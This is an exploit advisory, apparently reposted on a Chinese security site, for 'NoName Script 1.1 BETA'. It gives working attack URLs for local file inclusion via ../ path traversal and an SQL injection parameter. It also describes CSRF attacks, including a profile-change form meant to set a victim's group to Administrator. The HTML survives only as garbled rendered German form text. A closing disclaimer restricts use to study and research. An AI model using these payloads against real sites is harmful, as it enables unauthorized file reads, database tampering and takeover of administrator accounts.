NoName Script _Exploit_网络安全_

################################################################################
[ ] NoName Script 1.1 BETA Multiple Remote Vulnerabilities
[ ] Discovered By SirGod
[ ] www.mortal-team.org
[ ] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,MesSiAH,xZu,HrN,kemrayz
################################################################################# [ ] Local File Inclusion http://localhost/index.php?action=../../../autoexec.bat &kategorie=Tutorial

This will open autoexec.bat . [ ] SQL Injection http://localhost/index.php?action=newsadmindel&file_id=[SQL]

[ ] Cross Site Request Forgery If an logged in user with administrative permisions will click the following link ,he will be logged out. http://localhost/logout.php [ ] Cross Site Request Forgery - Change User Profile If an logged in user with administrative permisions will click the following link the following action will be executed. What to change :

- form action and profil_id :

action : change http://localhost with the website link.
profil_id : id of the user that you want to change settings for it
- input value :
value : your name (corresponding to ID)

And now edit the other settings change via web browser.After that,use this CSRF wisely. [ ] Here is the HTML code :

Benutzerinformationen
Benutzername:
Benutzergruppe:	User Premium MemberDeleter Moderator Administrator
Zusätzliche Informationen
Geschlecht:	keine Angabe männlich weiblich
Geburtstag:	12345678910111213141516171819202122232425262728293031   JanuarFebruarMärzAprilMaiJuniJuliAugustSeptemberOktoberNovemberDezember
Benutzertext:	Was geht aaaab xD
Homepage:
Instant Messaging
ICQ-Nummer:
MSN-Name:
AIM-Name:
Verwarnungen
	Admin wurde noch nicht verwarnt.
Aktion:	Verwarnungen verwalten

#################################################################################

提示： 本文由神整理自网络，如有侵权请联系本站删除！
本站声明：
1、本站所有资源均来源于互联网，不保证100%完整、不提供任何技术支持；
2、本站所发布的文章以及附件仅限用于学习和研究目的;不得将用于商业或者非法用途；否则由此产生的法律后果，本站概不负责！